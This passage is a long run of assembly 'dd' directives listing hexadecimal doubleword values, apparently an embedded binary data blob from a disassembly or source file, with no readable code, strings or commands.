6090460h, 5AF175CEh, 81BC1609h dd 2B36FAF0h, 539E5841h, 0F6C4BCF0h, 16C91E4h, 3CE9E3BAh dd 9488245Dh, 9909A373h, 0A0ABD01Dh, 0AC9666E8h, 287E7Ch dd 2AEAEE58h, 20A70E6Eh, 0B47ABE0Fh, 2FD380A2h, 943EAAA8h dd 0DBF70130h, 0C97461F5h, 0B8CE7064h, 0B00D3F0h, 0E4F8CEDFh dd 0FF086A0h, 367694Bh, 452A9060h, 0D8F474E7h, 410C0CE8h dd 309D641Ch, 0C1501746h, 0D93C80A9h, 0B7070A59h, 793E578Dh dd 8E6B802Eh, 735C595h, 0AC9D4862h, 0E091D790h, 0B9164B9Eh dd 0B6C72C02h, 0DA1792B0h, 0AEF02078h, 8DB57E0Eh, 75D5201Ah dd 38BB42E2h, 0CA831C8Fh dd 0B344E578h, 0C0052000h, 87F01E4Ch, 0EA22174Bh, 966C8089h dd 0EC072B54h, 0BC0288Bh, 0C40F139Fh, 0FBAE80A5h, 179403h dd 0E51A5A34h, 0D1402C1Fh, 13EDF71Dh, 0D8ABF400h, 0EA2123CAh dd 0D0CE0053h, 0F346E58Ch, 0DC00B1CBh, 9872F7E7h, 749AA3Bh dd 427A44A1h, 7113515Bh, 0F19EC030h, 2AF1712h, 51BE4C00h dd 303DC127h, 9411CAE4h, 5D006FD0h, 0D437F4AEh, 50DE6404h dd 208CB7Ch, 71AD5C48h, 9980E48Eh, 6E2822CBh, 0DE14C700h dd 886BCD8Fh, 0A1AE0068h, 9F1954A7h, 0DB98DD17h, 0CEC9DB01h dd 47F95C6Ch, 6C85BC4h, 5FD62223h, 16071044h, 0C0B5186Bh dd 308EF440h, 7B8F00FDh, 1D923E69h, 5600FEF5h, 0C7EF666Dh dd 0E359D4DDh, 7ED58E0h, 0D7390402h, 9F00DEB7h, 1446273Eh dd 0E0BD1200h, 78E6A31Dh, 86B9DDE2h, 68DD5494h, 0B6647601h dd 620B5D69h, 0BA51DCh, 29BB0A98h, 594BB828h, 533E3Fh dd 0AD69B5D0h, 3D9A269Eh, 1D751EA5h, 8F3B2303h, 56005A94h dd 49800D1Ah, 0F084FA00h, 0B8A604A0h, 999500E9h, 8E4591B2h dd 5D007A76h, 15E03AB9h, 6F997h, 0FA84FEC7h, 4D384E08h dd 7100DD70h, 43EA3C6Eh, 1C9A071Eh, 989B7528h, 0F984214Fh dd 0F645BD00h, 480D226h, 0D4411C7Eh, 1D006CD9h, 0DAEF47A1h dd 0AA40E063h, 0A5771333h, 8053773Fh, 0A615CB89h, 1F38C38h dd 7F5485B3h, 86315BE5h, 0B6676E61h, 0AA120386h, 0AD193825h dd 18586AD0h, 0DBCE9200h, 0E2F994A8h, 0FE9303C7h, 0E502FD19h dd 43FAF798h, 0B0CFA00Eh, 49A18001h, 0FB77262h, 5C31391Bh dd 0D038E580h, 8F07AA8Ah, 3015E268h, 4DC80089h, 363673Bh dd 7A606551h, 0E6B0565Eh, 0D10042D9h, 0E448B577h, 8716Ch dd 0CF850BBh, 0FF7DDFBh, 338BC503h, 0A1AE09CBh, 0B0CB8416h dd 725FFDh, 5826D5D3h, 18FF7FF6h, 0AD378607h, 0FD40BFE2h dd 0E7EF7C5h, 78CF5CF0h, 2DE5880h, 0C738D38Bh, 3357079Fh dd 0D680CB22h, 33BE2DAh, 0C101AD68h, 0D4E015EEh, 4000EFB3h dd 0BE34C3DCh, 170CD64h, 0F660236Ah, 0C0CC4457h, 0FE7EE18Fh dd 0B31FCB72h, 51932B06h, 0E6E98300h, 0EABC2A32h, 0FD441EBEh dd 5BDE54h, 3F014B6Fh, 500EDFC7h, 0A0C120F6h, 0D22476B0h dd 0FCA800E8h, 0DD2F7CEBh, 41001F9Dh, 46394A98h, 0F44487h dd 278E5864h, 0B868EB05h, 0B4BBCA1Fh, 851C7E7Eh, 4C7F1C9h dd 0B5609D22h, 15620D3h, 7D526C67h, 0D42D736Eh, 5A076859h dd 0DAE4DFEEh, 80339BB0h, 0D97100F9h, 0DC7CFC75h, 7474F84Fh dd 3025C100h, 0F033BD7Ah, 98152FA5h, 0D1D468C0h, 2D9B6600h dd 137934D3h, 6F42002Fh, 0E4977B28h, 780B1595h, 8145498Ch dd 58F675CFh, 19C9D8h, 0C338375Bh, 6BC43496h, 0BEBCC807h dd 5E40DE10h, 3E2F369Ch, 371FE6E7h, 0DC80C050h, 8B536E42h dd 0A40F7500h, 163126C2h, 0FB66009Eh, 4FDE0A55h, 85707110h dd 0F2756300h, 7447738Dh, 0EC0F1F46h, 0EFC7C0DBh, 0B6B99E93h dd 92CD5100h, 5BB7360Ch, 0AFB00065h, 951680C0h, 7800199Dh dd 0D1EAE71Dh, 39E50E6Bh, 9A01E14Bh, 0ACDF8729h, 5B0AC499h dd 10C04Ch, 68D23832h, 7AAB4A0h, 3E4D9D9Fh, 0FE22083h dd 5898A5E6h, 0B70E5Ch, 75E1BC36h, 3E3E043Bh, 0C843AB7h dd 0C05361E0h, 6545B5A0h, 891327FEh, 9800F0C0h, 9C1E317h dd 75870084h, 0AA0BAA7h, 0F700E867h, 0F4BED42h, 7D21241h dd 9A9B7CDAh, 79D8D24Eh, 20E302C1h, 5738C2DCh, 0E9E1840Bh dd 9CD0B716h, 73543E88h, 604020CAh, 47D4B300h, 6DDCF1F5h dd 5F7D127Ch, 0D817A0DDh, 80346E00h, 973EA288h, 2498C01Bh dd 0FE31B23Ch, 0D520220Bh, 5B4F8199h, 23ECED8Fh, 6A20085h dd 6E3CFBE4h, 0D00A0EFh, 41DD862Ch, 0B1BC0FEh, 4D8A203Ah dd 0A54F3A00h, 471C6583h, 0CE40502Dh, 9564D18Ch, 0C079DEh dd 57AE701Ah, 126F46C9h, 0F7DC3Ch, 54394302h, 1F7A5Ch dd 90CF3C1Dh, 568104F1h, 4D738B00h, 977E27DEh, 0E6260B9Bh dd 2400FD8Ch, 6E29756Fh, 5B635D0Fh, 2F73035Ch, 5862B050h dd 906BE659h, 56A009Ch, 6F099603h, 690F7465h, 0A05F458Fh dd 6B7C2868h, 0EC2E038Dh, 0F7F824AAh, 47865DC8h, 1F0A63Eh dd 0ABDE06E8h, 0D3F8E3DAh, 9F291D6Bh, 6F0A8CEh, 0FF854B05h dd 347E2850h, 0EA0DAC90h, 6CE3E0AEh, 0C81F2C40h, 3890E5h dd 0D97BFB0Fh, 0DF04FF48h, 0D274F60Fh, 0F80013ACh, 77CE1AE5h dd 0B50B06Ah, 0EE5BE3BEh, 56932C00h, 0ED004F4Ah, 6D408811h dd 0C40896h, 3805FCDh, 0B59C7065h, 5856EC24h, 407C500Fh dd 5B6E597Bh, 2657587Dh, 6D03793Bh, 6652765Ch, 0D8427FF0h dd 613FB61Eh, 415E1500h, 1E847546h, 0C5506B26h, 8152405Fh dd 0D405A32Ah, 1E2474CEh, 902018C1h, 38292F40h, 12747126h dd 3D435Dh, 577CD96Ah, 0BE00B2B0h, 0AEBB029Ch, 0F2CD30A0h dd 4D31E190h, 0F210420h, 0BE019DBFh, 609B17C1h, 0FFDA30E8h dd 6500B875h, 0F3646E39h, 0A88667h, 0F57D8D17h, 363A3409h dd 1E05FA3Eh, 8280F4C8h, 7ABB6CFFh, 525D001Dh, 0FD55765Fh dd 0F107A8CFh, 9F03C762h, 8064DCC2h, 76E5FFB0h, 9CC9073Ch dd 41CA5106h, 0FC334A08h, 7B00B521h, 7DE07947h, 5FDCD7h dd 26F25C3Dh, 5B6C19F9h, 810C3Eh, 0F31E745h, 0B35FB5h dd 4972C8E4h, 9029D64Ch, 9CE38C05h, 0B819498h, 2BD46EB0h dd 3D370AAh, 5B35F7B2h, 6DD03B7Ah, 1038F323h, 0F87F03A5h dd 0B86186FAh, 1E8FC9E4h, 8154D55Ch, 2E99A697h, 37A2CC98h dd 0A3039179h, 15DE518Fh, 0AA46C88Ah, 0A0C300C6h, 8DEAF14Ch dd 0A2000247h, 0DD688705h, 95DA501h, 0FC282C10h, 89C3A400h dd 3926320Dh, 9781F08Ch, 8EC73433h, 0C635CCh, 0D636318Fh dd 0EDFBE699h, 0D0C20300h, 0E3A9EBD5h, 0C50C00F6h, 0B2E9D7D8h dd 89243E58h, 0C100A4F5h, 2BC8BB32h, 1647CD4h, 87AC4C9Ch dd 2123471Eh, 30B9CCA0h, 0E0280B01h, 27714D29h, 94CE8941h dd 0A5F09021h, 0FA8113F5h, 0C535037Eh, 1DE88FE8h, 2171CAE0h dd 1431B400h, 28818285h, 59E60923h, 0DC87E383h, 432B8003h dd 200110Bh, 2A212EF4h, 73D50FB9h, 22BB0914h, 0E0A058D6h dd 6A692461h, 2302B09Ah, 61D42EDh, 5D94C098h, 22F600C8h dd 8D059DA3h, 7A490CB2h, 97B300FCh, 51FE9928h, 52CE3085h dd 20FAF950h, 6F806D50h, 0FBF4C100h, 3D72AFA1h, 7C65005Ah dd 89E92C46h, 8004161h, 0A0E6A5CFh, 6774Fh, 0B095EC84h dd 31E2813Fh, 24121BE4h, 0F0017252h, 55EBC3E5h, 2CC8BCFCh dd 8038D27Dh, 4CEEC5E1h, 575C9B04h, 0DD8A00B0h, 5DE37D66h dd 6CB1C037h, 4817AC81h, 8B2A9900h, 0C147074Ch, 442E18FAh dd 0CAE3026Ah, 0D800BD4Ah, 170E41A4h, 29FE3EE5h, 0C0C6A01Fh dd 5F1091B6h, 274ABD7Eh, 0E97D9C02h, 0C5520006h, 280722FDh dd 0F8C45B1Eh, 927EE320h, 90415013h, 6DCF09CAh, 0E0C63ADh dd 46FE6F98h, 20408F30h, 0A3E6DEh, 0E9113B23h, 16C661B8h dd 0E0AE0530h, 2570B94h, 0E70D804Dh, 9C982667h, 0DCB2BECFh dd 87FB733Dh, 0EB785DDFh, 0C8D03DA7h, 3A302A23h, 0AB03E5C1h dd 7CF46892h, 53A04ED0h, 2D18B0ECh, 62189091h, 0A414902Ch dd 42213024h, 3A499880h, 0C9BCB254h, 44F34D00h, 947C4B9h dd 953605B5h, 4A6E202Dh, 8040BDD8h, 0D146B32Eh, 23249B6Ah dd 2A0438DAh, 30832294h, 8003D9D5h, 0E1B440A4h, 8007C6B9h dd 0D50ED831h, 58AC330Ah dd 0E61F9426h, 17494F63h, 7DE77EA0h, 3A19D6C9h, 44C08A2Dh dd 0ADCFB0F3h, 966230EFh, 9C51792Ah, 0D52CF107h, 0DB27FB57h dd 0DC0681F1h, 0E0DEF60h, 3850D958h, 5921C6C0h, 0A92EA570h dd 6F07FC49h, 0A703C2EBh, 0ABCA1C0h, 0A4431184h, 5487C0B3h dd 4288C4Ch, 0C1E0D66Ch, 0DDD5D602h, 4110CF30h, 9B2002ECh dd 111F30BEh, 0B8A6D010h, 8E94EA00h, 1D2D7708h, 3098752Bh dd 0BD905F1Fh, 0E31CBA81h, 0F46AD9B0h, 78BBF212h, 1544E440h dd 4908B4B3h, 6312788Dh, 3C5CC028h, 85016E9Ch, 78EB868Ah dd 0C70C7CEh, 0EEE97060h, 0D8A8256Ch, 6D891C0Fh, 0E19530C0h dd 0E0FE58h, 0B68C4E0h, 17DE615h, 0C074A135h, 0D0EEE462h dd 3007E8CFh, 1394422Fh, 27D3611h, 0DA37B040h, 0D2F002E1h dd 5A2A0D66h, 7C5F9460h, 8306B300h, 163F7642h, 3470191h dd 4D074F4Bh, 0EDE0CB10h, 17AC15Bh, 51BDA606h, 502811D2h dd 0EEE88Dh, 4A86E2DFh, 24B3F393h, 361A8502h, 511FBF3Fh dd 0C26E1C3Ch, 3E5D82C8h, 0E977CEE0h, 60F96500h, 0D93F56FAh dd 913601FEh, 30CB7E1Ah, 0CAC4059h, 2718C1D8h, 33A0B23Dh dd 25C33BCAh, 0DCB126h, 1BC5C20Eh, 7200B426h, 9627D3Bh dd 3B8A455Dh, 67804071h, 44435A14h, 1E17F15Eh, 240278BFh dd 148D3270h, 2DB9E900h, 8297AFB3h, 91ED00C4h, 28954C0Ah dd 7D002B14h, 736EE049h, 4179BBh, 0A23EB5CCh, 7E646955h dd 2CA7D01Eh, 0AE1F95FEh, 9821E4h, 50921E3Bh, 0EC2C5C64h dd 7B09C09Eh, 60A04255h, 70323EFh, 427E319Dh, 122E40ACh dd 1307C28Ch, 0AF014DD3h, 0ADF6DC80h, 8C2D4C53h, 79DC58h dd 90CF5C31h, 83394C0Eh, 840DF709h, 0D0C0A019h, 0FEA74CBh dd 0EB42611Ch, 451BFAA0h, 4F00C7DAh, 2043471Ah, 0A2327CCh dd 0F67E34B5h, 4C5802F8h, 0B47A06CEh, 49B9BD4Ch, 37040310h dd 0C824E5BEh, 2A1C1EA7h, 2A4D4FAh, 0E38D630Dh, 5068FFB4h dd 0E474EDD7h, 0D45ED500h, 951F603Dh, 0B66700EAh, 8280EC4Fh dd 0E53A967Ch, 0CED713DFh, 7DA74500h, 613F5A5Dh, 2E6AF2FDh dd 58A02065h, 0EB0DE09h, 47F8009Ch, 64D150A0h, 0B88830A6h dd 0C155004Ch, 6DC9297Bh, 9C628D3h, 0EB4005C8h, 0A2BD2054h dd 0F532140h, 11B8F7B1h, 93003B42h, 97482D05h, 7798D524h dd 2C967B02h, 49802EF9h, 2226A098h, 735BA26h, 0BF360500h dd 7E695EA8h, 0D91F0213h, 0B342FC3Eh, 1017E068h, 340A9701h dd 0AA625ECCh, 0B0531824h, 57E10088h, 32B8039Fh, 650FCE48h dd 0E0C05AD8h, 406312C4h, 3E10B07Ah, 0F0854719h, 43DCFB05h dd 4AB59DC0h, 904508E0h, 0B93FE16h, 4B075C40h, 1FBB06ADh dd 0A8C68617h, 0D0484CCFh, 96094500h, 0F3D7837Ah, 11C98B0Eh dd 3EA8E04Fh, 505AF66h, 45D3EEC1h, 0C18017Dh, 0DC97A9D2h dd 3D1675EDh, 384BAD7Ch, 90BCA261h, 609B423Eh, 58A8210h dd 0C5893CA6h, 0DB1CD886h, 0E9933D18h, 985BBEC1h, 4F8800A2h dd 0C78C0B9Bh, 7B03D5C2h, 0C36A242Eh, 4BD0001Bh, 0F87E6C99h dd 0DB3DBBECh, 786F30B1h, 0B89D7375h, 4DF30C11h, 7C583747h dd 0C00E55F0h, 4673CDC6h, 1836C7h, 0A73C11FCh, 49294BC1h dd 75A36019h, 9C6350C9h, 6DC07459h, 72E7540Bh, 87704C58h dd 45301BD4h, 24A50895h, 204BF2Fh, 0ECFFA8B8h, 30E34CE4h dd 0F8A85AB0h, 27036DA0h, 1F4CA302h, 7528C008h, 0C1CC1259h dd 27F4C13Eh, 9C4CF4AFh, 0E7BA50C0h, 0E8BC2937h, 256490A5h dd 1C005194h, 18EFD42Ah, 4011B56Bh, 2564A4h, 4BE692CAh dd 941A517h, 6A0ECE7Ah, 0D67A11BDh, 66AF7900h, 925C62A4h dd 889508ACh, 24A6E57Ch, 0A2B96E00h, 17F5737h, 0C76D3331h dd 0F84BD0BFh, 2838454Fh, 597201C1h, 9FE49A29h, 0F62A60h dd 94EDC534h, 0DCD7D3B3h, 0B03C7500h, 4F619D10h, 3A3748Bh dd 0CD8489B2h, 7FA8A02Fh, 7E001CD8h, 0B9F4935Dh, 0C71DA80Dh dd 0D0AFE510h, 5C371A07h, 0CAB2AD12h, 950C1480h, 99F9C155h dd 72827213h, 0A23D7970h, 7BB20FC1h, 9624800Fh, 9065FFECh dd 0E9850A1Ch, 9ACEE06h, 0E040EA2Eh, 9F00054Dh, 0D8DB815Ch dd 50526Ch, 11CC8A10h, 345FC6A4h, 0D4992DB0h, 1DFFE588h dd 780B816Ch, 38A45AABh, 0B2D10050h, 800A966Dh, 137548h dd 3BD1F92h, 82F6704Fh, 2C1ED900h, 0C30D9F5Ah, 0CC9738CEh dd 55E5B080h, 6D0480DBh, 873C507Dh, 7DDA96AEh, 61603C4Fh dd 0C8F6616Ah, 2CC9C0h, 0B228BB24h, 0D6E5FDD2h, 9E10F001h dd 874903FEh, 7B7BFE8h, 0A7EE2A0Ah, 0E6A49121h, 1D5A80A8h dd 206AAE94h, 86C203ABh, 0B35E891Eh, 300A3EB0h, 0DF00117Bh dd 8C01F942h, 96836Dh, 4CD1D7D2h, 4106C5B8h, 0DFE09200h dd 0F30BA601h, 27155C31h, 0BAF9830Ch, 2F0B3678h, 8EDD327Eh dd 507500E7h, 1F0E1E40h, 7C3E7h, 8E0AFE15h, 5700A969h dd 0AF622A6Eh, 0B85C4810h, 6B9F1EADh, 39A54149h, 80139BF6h dd 4ED32A19h, 0F5D9A04h, 2CECE4BFh, 0C774B1E5h, 0B802C99Eh dd 10E8510Bh, 60787F47h, 8C765F7Bh, 7D7C4601h, 8E49570Eh dd 3EE1D0h, 90835B2h, 2123CDD8h, 152EBB7Ah, 0D03BB70Ch dd 0D8E19689h, 39127CF7h, 0F080238Ah, 27E46C7h, 0DF76ED5Ah dd 0E4434D0Fh, 0AD9DCAD0h, 0ABF73200h, 785047A1h, 25A20015h dd 0EE7CC9C4h, 3A006A10h, 0AAF0EDD8h, 32D207Eh, 0A927A814h dd 3E982268h, 1800AF16h, 31B584A2h, 0DFFE1Bh, 0D212C227h dd 2CAD0741h, 7A821800h, 5C0E5DC4h, 27AB003h, 6D490262h dd 70688FDAh, 2500E8D8h, 0B67A7C57h, 91EE752Ah, 0E7198868h dd 0AE4CC800h, 1CC31A0h, 0A11E91B1h, 0E774343Fh, 0E70B11D0h dd 7A626000h, 0BA7D1B5Dh, 7554000Eh, 404F5B69h, 2B01021Ch dd 63BEE9B2h, 9034AD6Fh, 57D52C23h, 3EAB81B8h, 38C79E2Ah dd 25C4C60h, 9990F1F0h, 78E461CDh, 3C451074h, 1D02B8BAh dd 0C631B28Dh, 5442F4C6h, 0E33461D3h, 0B0A43084h, 41350300h dd 63A7CD0Eh, 2F499E2h, 0ECBDA314h, 5184CCC8h, 0F0077D89h dd 0ED22D1F0h, 0CA640216h, 0C0616C23h, 9A75714Ch, 88460240h dd 0E8FAE7E3h, 676AD440h, 0EA12E5EAh, 0B4C07ABCh, 48C605A5h dd 2301B895h, 7E0A8ACh, 380C6341h, 2CA12929h, 50A1128h dd 9CB50CD9h, 7216C82h, 0BD7CC0C6h, 0F5C5275Fh, 0E58065D4h dd 0C76E132Ch, 0B9D10CC6h, 4B792E7Fh, 0BEAE3F00h, 7D12BBE4h dd 0EB4E88h, 8C5408DCh, 6FE7642h, 0E8BF0B01h, 0C613A095h dd 7A219063h, 8B289025h, 0D642981h, 0E3664484h, 9FA86F2Ch dd 675F1E45h, 1E924B0h, 451C13EEh, 38E2CA44h, 4C8493FCh dd 660094E6h, 9B350576h, 5017D723h, 14014C2Ch, 0F6FEE6E2h dd 0C06226C5h, 44D6E60h, 120C159Eh, 0B814211Ch, 48EB0382h dd 0A4903E3Ch, 692C82B4h, 219180C0h, 278A810Bh, 3980A3AEh dd 80A99B67h, 0E93AA69h, 0DA10801Ah, 9909D527h, 0E3655440h dd 0E1F37000h, 0C173FBA6h, 0A49B58B9h, 2E947400h, 0E3B22DD9h dd 0CFC5B019h, 0C0CA0EE0h, 17E6BBE8h, 20D1FF32h, 42BD02E0h dd 44ED9B18h, 0BE63428h, 0CD1946D4h, 51764903h, 67FB0E7h dd 0DB269B11h, 0AC3BF4DDh, 5E0014FAh, 8B8FB4A1h, 0A3480241h dd 59DF56A2h, 352ED040h, 0E58DDB13h, 1B55B700h, 0F81D1924h dd 2CEA00B7h, 516D408Ah, 0AD017AC4h, 8473D854h, 0FACDB321h dd 0A0A4C4h, 40D6FCFDh, 6EBAB71Bh, 0E15B6C00h, 48A3BDA2h dd 3A4C021Eh, 9E05FFFDh dd 0DB430868h, 7F5E310Bh, 30100080h, 1F331F86h, 408BC437h dd 871AB23Ah, 6C00DA8Fh, 1780B0F7h, 187362h, 0ECE7AC75h dd 678D6E41h, 406CB100h, 5D82DB51h, 0A0AD00E8h, 486152A6h dd 380242B4h, 437E8D62h, 8610403Bh, 0B493E87h, 8E707380h dd 0F74AE6ABh, 0B040858h, 805ACA74h, 255DD4E4h, 980B0047h dd 16F74278h, 920B3EB0h, 8ADABFDh, 0E200DC9Dh, 4F280B4Eh dd 802B4896h, 3649B800h, 0CF229B15h, 4BB02F00h, 9A289DE8h dd 62BC4C08h, 6EB31400h, 9BC41797h, 0C81C8230h, 1FAABEh dd 0F0DA534Fh, 4B7F9E86h, 1F2B9824h, 29BB0800h, 5C6D55F4h dd 931FB8AEh, 0A08D92A7h, 0A300FB8Ch, 0B39E98EDh, 961F9DBFh dd 0FED10318h, 0E6F8CC25h, 0A892E1BDh, 80FC275Ch, 843EB33Dh dd 0FB0B04FCh, 0C3E41DACh, 400954F4h, 0EBD758h, 995D6124h dd 447702C5h, 0AAAFB4E5h, 85CFC49h, 0FB3D0058h, 0EF3CDAF8h dd 61E89419h, 6BD04500h, 78DBF49Ch, 0FB350ECEh, 0B2C0644Ch dd 8A66A306h, 13D26D09h, 0E42C03E2h, 879E8892h, 3AA7819h dd 4F3DBF9h, 2003E5A1h, 5812A4EAh, 0D78085DDh, 3F25805Eh dd 642CEC38h, 0A6E50034h, 0F443BFB9h, 9FE22400h, 0BD477C02h dd 0B25D0017h, 0CCA14C0Ah, 2B000BB3h, 363D260h, 13FCFB05h dd 17CD95Eh, 143444EAh, 2169C401h, 3F4EB900h, 7AB02083h dd 0C5A70E3Ah, 93A736FBh, 628E2079h, 0E03C1E78h, 3BB1BF9Bh dd 5A2A829Ch, 600F257Bh, 13FADEh, 0B877C919h, 2CC13212h dd 0BF65E118h, 0D56DB8h, 188B6FC6h, 6FA16C4h, 0F770B5h dd 0FD42DD7Dh, 0BCCA68DFh, 0E06DDB07h, 0B4C1Ch, 6935AF10h dd 239D0FAEh, 33029C9Bh, 4242906Fh, 2B01D0D8h, 45AA926Dh dd 98745642h, 0CFA90F34h, 0A8A01F85h, 0CDAB3C68h, 6AAC6E05h dd 64C0CB64h, 0A087C69Dh, 4AB7F0h, 4DB2221Dh, 0B00FA1A3h dd 1F92BC00h, 8E91ADBAh, 52EEB4h, 6DF3CC78h, 0AB481E44h dd 7671DFF2h, 490080ECh, 121411ACh, 961CE7Ah, 9A02472Fh dd 9590C883h, 5CBBBE8h, 650CB100h, 30F75A36h, 7700B440h dd 0BEE07391h, 0C5078228h, 975AD5D8h, 53FCBFF0h, 16607B69h dd 0C03B4C98h, 881B665Ch, 0A32CCD03h, 4BDF713h, 0C97014C0h dd 0F8AC4090h, 0DE07E1h, 0D3F1DFD2h, 0C005E3EAh, 0D0D13Bh dd 0FBE5E2AEh, 71254C6h, 29021D98h, 112BA1B2h, 3407DCA1h dd 0E4E3BA16h, 97054D3h, 2C92D0C0h, 2138E810h, 9914BA09h dd 0CB88807Dh, 0F0834Ch, 0FA446A66h, 5337D52Ch, 96458D00h dd 6876D64Bh, 249003h, 0F2CDC983h, 0F8F7CFF9h, 0F407009Eh dd 0F533CE87h, 0F6F1E086h, 0A6590096h, 81C3AD3Ah, 0AB009510h dd 0CCB62369h, 2971884h, 7E9872A9h, 2440CA48h, 7B00F281h dd 0D9C79AD5h, 3B726DC8h, 0C60175FBh, 0E1524D18h, 55B3F567h dd 249082C0h, 1100F2E3h, 17944914h, 844659h, 8C614171h dd 0E340D373h, 1BA6F113h, 84DF9082h, 0BCA865A8h, 882FE000h dd 7B4A37C2h, 8E21F316h, 544864C2h, 9F9F3890h, 446C00Ah dd 70E0C6F1h, 841D3A0Bh, 83998039h, 396B03Eh, 0C14FA21Fh dd 0F0A1A7C2h, 0A4002B09h, 2F066480h, 94EA4C83h, 885F4803h dd 1107EDBDh, 0DB52A825h, 63DAD310h, 82480095h, 7246B477h dd 5375381Eh, 7080914Eh, 77EFEAF5h, 6DA201B9h, 0AD579DB0h dd 0E29BF352h, 41D870EBh, 0E0B0BF82h, 5CDEBD04h, 14A047B4h dd 9DCB8CDh, 0B33B569Fh, 4ECA7440h, 0BA0045EAh, 89E55CC5h dd 4C0601CFh, 3701744Dh, 87ECE050h, 318FE5B0h, 9448F8B0h dd 11DEF930h, 17FDEE25h, 3218980h, 0D7071884h, 41199800h dd 7F3E44D0h, 0DB31F91h, 0DC9C87h, 8095D1BCh, 70BA53FDh dd 0A208DE02h, 509251ECh, 0E815E408h, 0E2D90037h, 2D67AFF5h dd 0B802EB2Ah, 0CC183A2Eh, 2CF4E875h, 19C70166h, 85F1D782h dd 0EC40EA16h, 534879C2h, 9EBA0010h, 581B9211h, 7569E467h dd 74630057h, 0AA8DE652h, 0BE19D8DAh, 50F862FBh, 3A5FB2E8h dd 0BB07B0DCh, 47CBBD0Eh, 9A23E0ECh, 0E7FE73FEh, 51A6850Fh dd 54A160DEh, 210BB2h, 69DC913Ah, 0E50D8CA9h, 0C4009D97h dd 9ED530C8h, 44D44CC3h, 5E6D0171h, 2EDC1CE7h, 1F90D045h dd 56B3602h, 0AECE9F2Dh, 5C09E0FCh, 9E20604h, 0D310330Eh dd 58AF5800h, 0BA037CD4h, 6DB59EE8h, 2D30D022h, 24B9F878h dd 0B5CC335h, 0D4120EFAh, 0C0F75860h, 2D0C1A00h, 2379D599h dd 2204B889h, 1848049Bh, 940177F0h, 20902EA5h, 0D05091FAh dd 0B1F946D9h, 61EA0E68h, 32727720h, 0D05C49Ch, 893DAD60h dd 98D610C0h, 979105B2h, 80656369h, 5DE030F4h, 89A40E0Bh dd 0CA6707BBh, 804DCBF3h, 1281FAB4h, 0B55B90h, 928BDA5Ch dd 980093E0h, 0D729952Fh, 6B2528h, 5D5B6550h, 0FC2C706Eh dd 0A8F6ED07h, 0A1252278h, 1460D800h, 8269C8h, 5A204790h dd 9C66D23Ah, 0B9CC1504h, 65862574h, 0FA652CF0h, 0A20900C1h dd 4029202Ch, 0CB0543F8h, 0EA63EF67h, 74808680h, 0A4EA14h dd 0A072DC57h, 0AF84E659h, 7BDB5600h, 67D85BA8h, 733FC5Eh dd 0EA5150E8h, 0F4D3699Bh, 7400CD96h, 0F2A43709h, 3AE0785Eh dd 7A055DDCh, 0B28B4AD6h, 0C0D08700h, 0D136003Bh, 49DA80h dd 4F82056Ch, 72CF9E7Bh, 0A4B1CD0Eh, 0C8DD2009h, 5272122h dd 0E997F399h, 709C0306h, 90902E01h, 0D7009B15h, 0CBC6A79Fh dd 10135Ah, 9332062h, 79525575h, 0C02ECE26h, 514F8A00h dd 3B96FA85h, 0F89DCCDFh, 24C44075h, 0A6538E3Fh, 0CBB4E209h dd 0D20238Bh, 8460D7F5h, 752E0483h, 27325B91h, 9450E950h dd 3EA9E703h, 0A0961A11h, 4C71CCFCh, 0E04C8869h, 0D1B25F01h dd 0EDAD580Eh, 7828CFh, 93BB775Ch, 4C34976Eh, 0D0F6C71h dd 51EE92B3h, 0B4DF5925h, 650BB8A8h, 6020806Dh, 1284218h dd 6F0B1329h, 0E0C6A0B5h, 71000A40h, 205E2CD9h, 0E6AF806Eh dd 0B3830A39h, 84A533h, 0F4C2F90Ch, 1154B9B4h, 0EA409264h dd 2AA51DFBh, 90F49857h, 960CBFC7h, 10F5DCFFh, 675B0395h dd 1CC83D85h, 72B0F8D0h, 5D6A5600h, 0CA2E1FE2h, 74E1C5FDh dd 7778B494h, 6AB76504h, 10E0F85Eh, 70DC13BBh, 0C4748871h dd 0EC864988h, 0A10638B1h, 891F4A80h, 8E23C55Dh, 833E4D2Ch dd 3F73CD01h, 5BC0CF9Fh, 0DBC600ACh, 0F54BF493h, 5101CBC8h dd 56750806h, 0B9609FD8h, 15FC00D1h, 0AF3B1B87h, 14393752h dd 440F133Dh, 6C5A5800h, 251858h, 8B156A3Ah, 0A59DA8E3h dd 28071600h, 67DF04A9h, 55481EFAh, 0EDB482B9h, 0EC403E1Eh dd 4763AEA0h, 0A38E22F9h, 6BD698E8h, 0F86E0088h, 0DB54F689h dd 6F038F62h, 0DDA88BF0h, 0FC48C8E8h, 2CD97F50h, 7622EF2h dd 20C25C07h, 0EAFE2CF0h, 6A0FDF0Fh, 0DE4602DAh, 40ECD43Fh dd 0E4923901h, 0BE173D00h, 0FD37A00Dh, 0E8180012h, 51781628h dd 97A3E0AFh, 0F7749B0h, 0F588B502h, 0FE86A9D6h, 47590087h dd 0A4AC565Fh, 0F8B73800h, 0C0E51D65h, 768A00BFh, 0FEFC59D4h dd 1B00BA55h, 0EC5640E2h, 39F39Ah, 0A4E9CE84h, 328DCD6Dh dd 20E5B337h, 50F3C9CEh, 4080038h, 620AE4Dh, 2D58A14Fh dd 9C371F6Fh, 25C73F03h, 6D22B888h, 30C97EDBh, 708BEFAh dd 5500A6A2h, 575E471Ah, 0D915D8h, 0EE2D6ED7h, 31B4839Ch dd 0A700467h, 1BEF9761h, 4B20FEE4h, 932CD046h, 2DFE272Fh dd 2A48AD90h, 0A1EA0F70h, 6F94CE2Bh, 9505A098h, 0EAF5DD08h dd 654D00F8h, 0D7FF767Bh dd 84B0E7EEh, 0F36A7D00h, 208191C2h, 0A012E63h, 188B8770h dd 0E25AD0E0h, 7A74DC88h, 2F0C8D74h, 89473D8Ch, 1E274AC4h dd 0A8810068h, 0F087B267h, 1DE8BFE8h, 2CFC418h, 3158D21h dd 0C0CA8F47h, 80081AFh, 0B722D792h, 90870C51h, 0E252000Ah dd 0A60A0761h, 68CEC867h, 8F6AA37Ch, 5000CDE0h, 0DC8EB3B7h dd 0EF84003Ch, 0FC9981AAh, 58CF83A8h, 632D0296h, 89188106h dd 9074E04Dh, 6A6F1F7Eh, 5701DAAh, 763B4h, 0F0422114h dd 1001748h, 0C22D9EF7h, 0E961F8Dh, 7CBFCF56h, 1700E20Eh dd 2E29352Fh, 0DABE3Eh, 1B5DC803h, 0F8BA33h, 0A5F1D405h dd 6E996225h, 0E10A2B00h, 0E28034DAh, 0D88A3CBCh, 2CEC7C05h dd 6A2980ADh, 260004C7h, 0DA8EF4E8h, 5BFBE2h, 53FE2315h dd 0C7B47E60h, 